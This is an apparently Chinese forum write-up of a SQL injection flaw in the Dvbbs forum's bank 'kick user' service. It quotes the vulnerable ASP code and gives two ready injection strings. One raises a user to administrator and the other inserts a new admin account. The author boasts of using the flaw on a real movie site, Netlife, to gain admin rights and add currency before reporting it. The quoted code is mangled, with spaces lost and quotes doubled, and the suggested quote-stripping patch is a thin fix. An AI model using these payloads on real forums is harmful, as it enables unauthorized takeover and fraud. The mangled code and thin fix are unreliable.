|
网上的动网银行转帐存在过滤不严注入漏洞,人所共知。
Netlife是本地一家电影网站,虽然免费,但偶尔还是需要银币来看电影滴~偶看着自己可怜巴鸡的银币,唉,想着能不能再多点啊?于是呼~~就研究了下这个银行漏洞。
第一次,由于关闭了转帐功能,所以偶就用外部提交拿到管理员权限,后来联系管理员修补了。结果偶发现自己的银币还是太少了,再进去加点吧?从哪进呢?看官请继续:
subdo_buyfuwu() dimlei,str,need,i lei=request.form("lei") str=request.form("str") dimtitle,content title=request.form("title") content=request.form("content") ifcint(shida_fuwu(lei))=0thensetAlert("本论坛未开放此项服务") selectcaselei case0,1,2,3,8
^……省略
case6 ifstr=""ThensetAlert("请务必输入一个ID。") ifshida_fuwu(6)>shida_bank(7)thensetAlert("您的余额不足") setrs=conn.execute("selectuseridfromDv_userwhereusername=''''emma'''';updatedv_usersetusergroupid=1whereuserid=7043and''''''''=''''''''") ifrs.eofthensetAlert("查无此人") conn.execute("updatedv_usersetuserEP=userEP-100,userCP=userCP-100whereusername=''''"&str&"''''") conn.execute("updatedv_usersetuserWealth=userWealth-"&shida_fuwu(6)&"whereusername=''''"&Dvbbs.Membername&"''''") ifcint(log_setting(1))=1then thetext="踢"&str&"一次" Calladdlog(Dvbbs.Userid,Dvbbs.Membername,"服务",thetext) endif
由此可知,str变量未经任何过滤,可构建SQL注入而得到管理员权限。
test1'''';updatedv_usersetusergroupid=1whereuserid=7043-- test1'''';InsertintoDv_admin(Password,Username,Adduser,Flag)values(''''49ba59abbe56e057'''',''''efsys'''',''''efsys'''',''''1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36'''')--
什么地方的东东?答:银行>>社区服务>>K人
唉,进去后银行加了点银币,联系管理员删除偶的管理权限,修补漏洞,over!闪人!
修补方法:
str=request.form("str")
这句下面,插入以下两行即可
str=Replace(str,"''''","") str=Replace(str,"","")
此漏洞危害极大,造成损失于本帅无干!!
|